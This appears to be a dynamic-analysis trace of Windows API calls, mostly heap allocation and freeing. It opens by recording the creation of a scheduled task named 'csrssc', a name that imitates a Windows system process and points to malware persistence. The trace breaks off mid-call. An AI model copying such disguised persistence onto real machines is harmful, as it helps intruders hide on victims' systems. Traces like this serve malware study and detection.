[0057.945] _errno () returned 0x4f4bb0 [0057.945] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0057.945] SetLastError (dwErrCode=0x6) [0057.945] lstrlenW (lpString="SUCCESS: The scheduled task \"csrssc\" has successfully been created.\n") returned 68 [0057.945] GetConsoleOutputCP () returned 0x0 [0057.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"csrssc\" has successfully been created.\n", cchWideChar=68, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 68 [0057.946] GetConsoleOutputCP () returned 0x0 [0057.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"csrssc\" has successfully been created.\n", cchWideChar=68, lpMultiByteStr=0xff6d1880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"csrssc\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 68 [0057.946] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 68 [0057.946] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0057.947] IUnknown:Release (This=0x4f68b0) returned 0x0 [0057.947] TaskScheduler:IUnknown:Release (This=0x4f7d80) returned 0x0 [0057.947] TaskScheduler:IUnknown:Release (This=0x4f7d30) returned 0x0 [0057.947] TaskScheduler:IUnknown:Release (This=0x15dee0) returned 0x1 [0057.947] lstrlenW (lpString="") returned 0 [0057.947] lstrlenW (lpString="6") returned 1 [0057.947] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0057.947] GetProcessHeap () returned 0x280000 [0057.947] GetProcessHeap () returned 0x280000 [0057.947] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29c4b0) returned 1 [0057.947] GetProcessHeap () returned 0x280000 [0057.947] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29c4b0) returned 0x1fc [0057.948] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29c4b0 | out: hHeap=0x280000) returned 1 [0057.948] GetProcessHeap () returned 0x280000 [0057.948] GetProcessHeap () returned 0x280000 [0057.948] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29c320) returned 1 [0057.948] GetProcessHeap () returned 0x280000 [0057.948] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29c320) returned 0x4 [0057.948] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29c320 | out: hHeap=0x280000) returned 1 [0057.948] GetProcessHeap () returned 0x280000 [0057.948] GetProcessHeap () returned 0x280000 [0057.948] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d680) returned 1 [0057.948] GetProcessHeap () returned 0x280000 [0057.948] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d680) returned 0x16 [0057.948] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d680 | out: hHeap=0x280000) returned 1 [0057.948] GetProcessHeap () returned 0x280000 [0057.948] GetProcessHeap () returned 0x280000 [0057.948] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d660) returned 1 [0057.948] GetProcessHeap () returned 0x280000 [0057.948] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d660) returned 0x18 [0057.948] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d660 | out: hHeap=0x280000) returned 1 [0057.948] GetProcessHeap () returned 0x280000 [0057.948] GetProcessHeap () returned 0x280000 [0057.948] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29ced0) returned 1 [0057.948] GetProcessHeap () returned 0x280000 [0057.948] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29ced0) returned 0x20 [0057.949] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29ced0 | out: hHeap=0x280000) returned 1 [0057.949] GetProcessHeap () returned 0x280000 [0057.949] GetProcessHeap () returned 0x280000 [0057.949] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29c150) returned 1 [0057.949] GetProcessHeap () returned 0x280000 [0057.949] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29c150) returned 0xa0 [0057.950] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29c150 | out: hHeap=0x280000) returned 1 [0057.950] GetProcessHeap () returned 0x280000 [0057.950] GetProcessHeap () returned 0x280000 [0057.950] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29bbd0) returned 1 [0057.950] GetProcessHeap () returned 0x280000 [0057.950] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29bbd0) returned 0x18 [0057.950] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29bbd0 | out: hHeap=0x280000) returned 1 [0057.950] GetProcessHeap () returned 0x280000 [0057.950] GetProcessHeap () returned 0x280000 [0057.950] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cc90) returned 1 [0057.950] GetProcessHeap () returned 0x280000 [0057.950] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cc90) returned 0x20 [0057.951] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cc90 | out: hHeap=0x280000) returned 1 [0057.951] GetProcessHeap () returned 0x280000 [0057.951] GetProcessHeap () returned 0x280000 [0057.951] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29c3b0) returned 1 [0057.951] GetProcessHeap () returned 0x280000 [0057.951] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29c3b0) returned 0x66 [0057.952] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29c3b0 | out: hHeap=0x280000) returned 1 [0057.952] GetProcessHeap () returned 0x280000 [0057.952] GetProcessHeap () returned 0x280000 [0057.952] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d6a0) returned 1 [0057.952] GetProcessHeap () returned 0x280000 [0057.952] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d6a0) returned 0x18 [0057.952] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d6a0 | out: hHeap=0x280000) returned 1 [0057.952] GetProcessHeap () returned 0x280000 [0057.952] GetProcessHeap () returned 0x280000 [0057.952] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cc60) returned 1 [0057.952] GetProcessHeap () returned 0x280000 [0057.952] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cc60) returned 0x20 [0057.953] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cc60 | out: hHeap=0x280000) returned 1 [0057.953] GetProcessHeap () returned 0x280000 [0057.953] GetProcessHeap () returned 0x280000 [0057.953] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29de10) returned 1 [0057.953] GetProcessHeap () returned 0x280000 [0057.953] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29de10) returned 0x68 [0057.954] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29de10 | out: hHeap=0x280000) returned 1 [0057.954] GetProcessHeap () returned 0x280000 [0057.954] GetProcessHeap () returned 0x280000 [0057.954] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d640) returned 1 [0057.954] GetProcessHeap () returned 0x280000 [0057.954] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d640) returned 0x18 [0057.954] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d640 | out: hHeap=0x280000) returned 1 [0057.954] GetProcessHeap () returned 0x280000 [0057.954] GetProcessHeap () returned 0x280000 [0057.954] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cc30) returned 1 [0057.954] GetProcessHeap () returned 0x280000 [0057.954] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cc30) returned 0x20 [0057.955] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cc30 | out: hHeap=0x280000) returned 1 [0057.955] GetProcessHeap () returned 0x280000 [0057.955] GetProcessHeap () returned 0x280000 [0057.955] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29c490) returned 1 [0057.955] GetProcessHeap () returned 0x280000 [0057.955] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29c490) returned 0xe [0057.955] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29c490 | out: hHeap=0x280000) returned 1 [0057.955] GetProcessHeap () returned 0x280000 [0057.955] GetProcessHeap () returned 0x280000 [0057.955] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29c470) returned 1 [0057.955] GetProcessHeap () returned 0x280000 [0057.955] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29c470) returned 0x18 [0057.955] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29c470 | out: hHeap=0x280000) returned 1 [0057.955] GetProcessHeap () returned 0x280000 [0057.955] GetProcessHeap () returned 0x280000 [0057.955] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295e50) returned 1 [0057.955] GetProcessHeap () returned 0x280000 [0057.955] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295e50) returned 0x20 [0057.956] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295e50 | out: hHeap=0x280000) returned 1 [0057.956] GetProcessHeap () returned 0x280000 [0057.956] GetProcessHeap () returned 0x280000 [0057.956] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29bd50) returned 1 [0057.956] GetProcessHeap () returned 0x280000 [0057.956] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29bd50) returned 0x208 [0057.956] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29bd50 | out: hHeap=0x280000) returned 1 [0057.956] GetProcessHeap () returned 0x280000 [0057.957] GetProcessHeap () returned 0x280000 [0057.957] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29bbb0) returned 1 [0057.957] GetProcessHeap () returned 0x280000 [0057.957] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29bbb0) returned 0x18 [0057.957] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29bbb0 | out: hHeap=0x280000) returned 1 [0057.957] GetProcessHeap () returned 0x280000 [0057.957] GetProcessHeap () returned 0x280000 [0057.957] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295d60) returned 1 [0057.957] GetProcessHeap () returned 0x280000 [0057.957] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295d60) returned 0x20 [0057.957] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295d60 | out: hHeap=0x280000) returned 1 [0057.958] GetProcessHeap () returned 0x280000 [0057.958] GetProcessHeap () returned 0x280000 [0057.958] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d400) returned 1 [0057.958] GetProcessHeap () returned 0x280000 [0057.958] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d400) returned 0x200 [0057.958] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d400 | out: hHeap=0x280000) returned 1 [0057.958] GetProcessHeap () returned 0x280000 [0057.958] GetProcessHeap () returned 0x280000 [0057.958] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29bbf0) returned 1 [0057.958] GetProcessHeap () returned 0x280000 [0057.959] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29bbf0) returned 0x18 [0057.959] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29bbf0 | out: hHeap=0x280000) returned 1 [0057.959] GetProcessHeap () returned 0x280000 [0057.959] GetProcessHeap () returned 0x280000 [0057.959] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295cd0) returned 1 [0057.959] GetProcessHeap () returned 0x280000 [0057.959] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295cd0) returned 0x20 [0057.959] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295cd0 | out: hHeap=0x280000) returned 1 [0057.959] GetProcessHeap () returned 0x280000 [0057.959] GetProcessHeap () returned 0x280000 [0057.959] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29c360) returned 1 [0057.959] GetProcessHeap () returned 0x280000 [0057.959] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29c360) returned 0x14 [0057.959] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29c360 | out: hHeap=0x280000) returned 1 [0057.959] GetProcessHeap () returned 0x280000 [0057.959] GetProcessHeap () returned 0x280000 [0057.960] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29c340) returned 1 [0057.960] GetProcessHeap () returned 0x280000 [0057.960] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29c340) returned 0x18 [0057.960] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29c340 | out: hHeap=0x280000) returned 1 [0057.960] GetProcessHeap () returned 0x280000 [0057.960] GetProcessHeap () returned 0x280000 [0057.960] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295c10) returned 1 [0057.960] GetProcessHeap () returned 0x280000 [0057.960] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295c10) returned 0x20 [0057.960] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295c10 | out: hHeap=0x280000) returned 1 [0057.960] GetProcessHeap () returned 0x280000 [0057.960] GetProcessHeap () returned 0x280000 [0057.960] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29c380) returned 1 [0057.960] GetProcessHeap () returned 0x280000 [0057.960] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29c380) returned 0x16 [0057.960] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29c380 | out: hHeap=0x280000) returned 1 [0057.961] GetProcessHeap () returned 0x280000 [0057.961] GetProcessHeap () returned 0x280000 [0057.961] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29c200) returned 1 [0057.961] GetProcessHeap () returned 0x280000 [0057.961] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29c200) returned 0x18 [0057.961] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29c200 | out: hHeap=0x280000) returned 1 [0057.961] GetProcessHeap () returned 0x280000 [0057.961] GetProcessHeap () returned 0x280000 [0057.961] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295be0) returned 1 [0057.961] GetProcessHeap () returned 0x280000 [0057.961] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295be0) returned 0x20 [0057.961] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295be0 | out: hHeap=0x280000) returned 1 [0057.962] GetProcessHeap () returned 0x280000 [0057.962] GetProcessHeap () returned 0x280000 [0057.962] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29bb30) returned 1 [0057.962] GetProcessHeap () returned 0x280000 [0057.962] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29bb30) returned 0x2 [0057.962] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29bb30 | out: hHeap=0x280000) returned 1 [0057.962] GetProcessHeap () returned 0x280000 [0057.962] GetProcessHeap () returned 0x280000 [0057.962] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295a30) returned 1 [0057.962] GetProcessHeap () returned 0x280000 [0057.962] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295a30) returned 0x20 [0057.963] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295a30 | out: hHeap=0x280000) returned 1 [0057.963] GetProcessHeap () returned 0x280000 [0057.963] GetProcessHeap () returned 0x280000 [0057.963] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295a60) returned 1 [0057.963] GetProcessHeap () returned 0x280000 [0057.963] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295a60) returned 0x20 [0057.964] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295a60 | out: hHeap=0x280000) returned 1 [0057.964] GetProcessHeap () returned 0x280000 [0057.964] GetProcessHeap () returned 0x280000 [0057.964] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295a90) returned 1 [0057.964] GetProcessHeap () returned 0x280000 [0057.964] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295a90) returned 0x20 [0057.964] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295a90 | out: hHeap=0x280000) returned 1 [0057.964] GetProcessHeap () returned 0x280000 [0057.964] GetProcessHeap () returned 0x280000 [0057.964] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295ac0) returned 1 [0057.964] GetProcessHeap () returned 0x280000 [0057.964] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295ac0) returned 0x20 [0057.965] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295ac0 | out: hHeap=0x280000) returned 1 [0057.965] GetProcessHeap () returned 0x280000 [0057.965] GetProcessHeap () returned 0x280000 [0057.965] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29ccc0) returned 1 [0057.965] GetProcessHeap () returned 0x280000 [0057.965] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29ccc0) returned 0x20 [0057.966] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29ccc0 | out: hHeap=0x280000) returned 1 [0057.966] GetProcessHeap () returned 0x280000 [0057.966] GetProcessHeap () returned 0x280000 [0057.966] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d7a0) returned 1 [0057.966] GetProcessHeap () returned 0x280000 [0057.966] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d7a0) returned 0xe [0057.966] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d7a0 | out: hHeap=0x280000) returned 1 [0057.966] GetProcessHeap () returned 0x280000 [0057.966] GetProcessHeap () returned 0x280000 [0057.966] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29ccf0) returned 1 [0057.966] GetProcessHeap () returned 0x280000 [0057.966] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29ccf0) returned 0x20 [0057.966] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29ccf0 | out: hHeap=0x280000) returned 1 [0057.966] GetProcessHeap () returned 0x280000 [0057.966] GetProcessHeap () returned 0x280000 [0057.966] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x297bc0) returned 1 [0057.967] GetProcessHeap () returned 0x280000 [0057.967] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x297bc0) returned 0x30 [0057.967] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x297bc0 | out: hHeap=0x280000) returned 1 [0057.967] GetProcessHeap () returned 0x280000 [0057.967] GetProcessHeap () returned 0x280000 [0057.967] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cd20) returned 1 [0057.967] GetProcessHeap () returned 0x280000 [0057.967] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cd20) returned 0x20 [0057.968] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cd20 | out: hHeap=0x280000) returned 1 [0057.968] GetProcessHeap () returned 0x280000 [0057.968] GetProcessHeap () returned 0x280000 [0057.968] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x297c00) returned 1 [0057.968] GetProcessHeap () returned 0x280000 [0057.968] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x297c00) returned 0x30 [0057.968] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x297c00 | out: hHeap=0x280000) returned 1 [0057.968] GetProcessHeap () returned 0x280000 [0057.968] GetProcessHeap () returned 0x280000 [0057.968] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cea0) returned 1 [0057.968] GetProcessHeap () returned 0x280000 [0057.968] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cea0) returned 0x20 [0057.969] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cea0 | out: hHeap=0x280000) returned 1 [0057.969] GetProcessHeap () returned 0x280000 [0057.969] GetProcessHeap () returned 0x280000 [0057.969] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d6c0) returned 1 [0057.969] GetProcessHeap () returned 0x280000 [0057.969] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d6c0) returned 0xe [0057.969] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d6c0 | out: hHeap=0x280000) returned 1 [0057.969] GetProcessHeap () returned 0x280000 [0057.969] GetProcessHeap () returned 0x280000 [0057.969] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29ce70) returned 1 [0057.969] GetProcessHeap () returned 0x280000 [0057.969] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29ce70) returned 0x20 [0057.969] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29ce70 | out: hHeap=0x280000) returned 1 [0057.969] GetProcessHeap () returned 0x280000 [0057.970] GetProcessHeap () returned 0x280000 [0057.970] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d6e0) returned 1 [0057.970] GetProcessHeap () returned 0x280000 [0057.970] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d6e0) returned 0x16 [0057.970] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d6e0 | out: hHeap=0x280000) returned 1 [0057.970] GetProcessHeap () returned 0x280000 [0057.970] GetProcessHeap () returned 0x280000 [0057.970] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29ce40) returned 1 [0057.970] GetProcessHeap () returned 0x280000 [0057.970] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29ce40) returned 0x20 [0057.970] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29ce40 | out: hHeap=0x280000) returned 1 [0057.970] GetProcessHeap () returned 0x280000 [0057.970] GetProcessHeap () returned 0x280000 [0057.970] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d700) returned 1 [0057.970] GetProcessHeap () returned 0x280000 [0057.970] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d700) returned 0x16 [0057.970] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d700 | out: hHeap=0x280000) returned 1 [0057.970] GetProcessHeap () returned 0x280000 [0057.970] GetProcessHeap () returned 0x280000 [0057.970] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29ce10) returned 1 [0057.971] GetProcessHeap () returned 0x280000 [0057.971] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29ce10) returned 0x20 [0057.971] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29ce10 | out: hHeap=0x280000) returned 1 [0057.971] GetProcessHeap () returned 0x280000 [0057.971] GetProcessHeap () returned 0x280000 [0057.971] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x2b9ca0) returned 1 [0057.971] GetProcessHeap () returned 0x280000 [0057.971] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x2b9ca0) returned 0x82 [0057.972] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x2b9ca0 | out: hHeap=0x280000) returned 1 [0057.972] GetProcessHeap () returned 0x280000 [0057.972] GetProcessHeap () returned 0x280000 [0057.972] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cde0) returned 1 [0057.972] GetProcessHeap () returned 0x280000 [0057.972] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cde0) returned 0x20 [0057.972] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cde0 | out: hHeap=0x280000) returned 1 [0057.973] GetProcessHeap () returned 0x280000 [0057.973] GetProcessHeap () returned 0x280000 [0057.973] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d740) returned 1 [0057.973] GetProcessHeap () returned 0x280000 [0057.973] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d740) returned 0xe [0057.973] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d740 | out: hHeap=0x280000) returned 1 [0057.973] GetProcessHeap () returned 0x280000 [0057.973] GetProcessHeap () returned 0x280000 [0057.973] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cdb0) returned 1 [0057.973] GetProcessHeap () returned 0x280000 [0057.973] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cdb0) returned 0x20 [0057.973] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cdb0 | out: hHeap=0x280000) returned 1 [0057.973] GetProcessHeap () returned 0x280000 [0057.974] GetProcessHeap () returned 0x280000 [0057.974] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d760) returned 1 [0057.974] GetProcessHeap () returned 0x280000 [0057.974] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d760) returned 0xa [0057.974] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d760 | out: hHeap=0x280000) returned 1 [0057.974] GetProcessHeap () returned 0x280000 [0057.974] GetProcessHeap () returned 0x280000 [0057.974] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cd80) returned 1 [0057.974] GetProcessHeap () returned 0x280000 [0057.974] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cd80) returned 0x20 [0057.974] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cd80 | out: hHeap=0x280000) returned 1 [0057.975] GetProcessHeap () returned 0x280000 [0057.975] GetProcessHeap () returned 0x280000 [0057.975] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d780) returned 1 [0057.975] GetProcessHeap () returned 0x280000 [0057.975] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d780) returned 0xc [0057.975] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d780 | out: hHeap=0x280000) returned 1 [0057.975] GetProcessHeap () returned 0x280000 [0057.975] GetProcessHeap () returned 0x280000 [0057.975] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cd50) returned 1 [0057.975] GetProcessHeap () returned 0x280000 [0057.975] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cd50) returned 0x20 [0057.975] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cd50 | out: hHeap=0x280000) returned 1 [0057.976] GetProcessHeap () returned 0x280000 [0057.976] GetProcessHeap () returned 0x280000 [0057.976] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29bb50) returned 1 [0057.976] GetProcessHeap () returned 0x280000 [0057.976] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29bb50) returned 0x18 [0057.976] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29bb50 | out: hHeap=0x280000) returned 1 [0057.976] GetProcessHeap () returned 0x280000 [0057.976] GetProcessHeap () returned 0x280000 [0057.976] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295af0) returned 1 [0057.976] GetProcessHeap () returned 0x280000 [0057.976] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295af0) returned 0x20 [0057.977] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295af0 | out: hHeap=0x280000) returned 1 [0057.977] GetProcessHeap () returned 0x280000 [0057.977] GetProcessHeap () returned 0x280000 [0057.977] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295b20) returned 1 [0057.977] GetProcessHeap () returned 0x280000 [0057.977] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295b20) returned 0x20 [0057.977] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295b20 | out: hHeap=0x280000) returned 1 [0058.011] GetProcessHeap () returned 0x280000 [0058.011] GetProcessHeap () 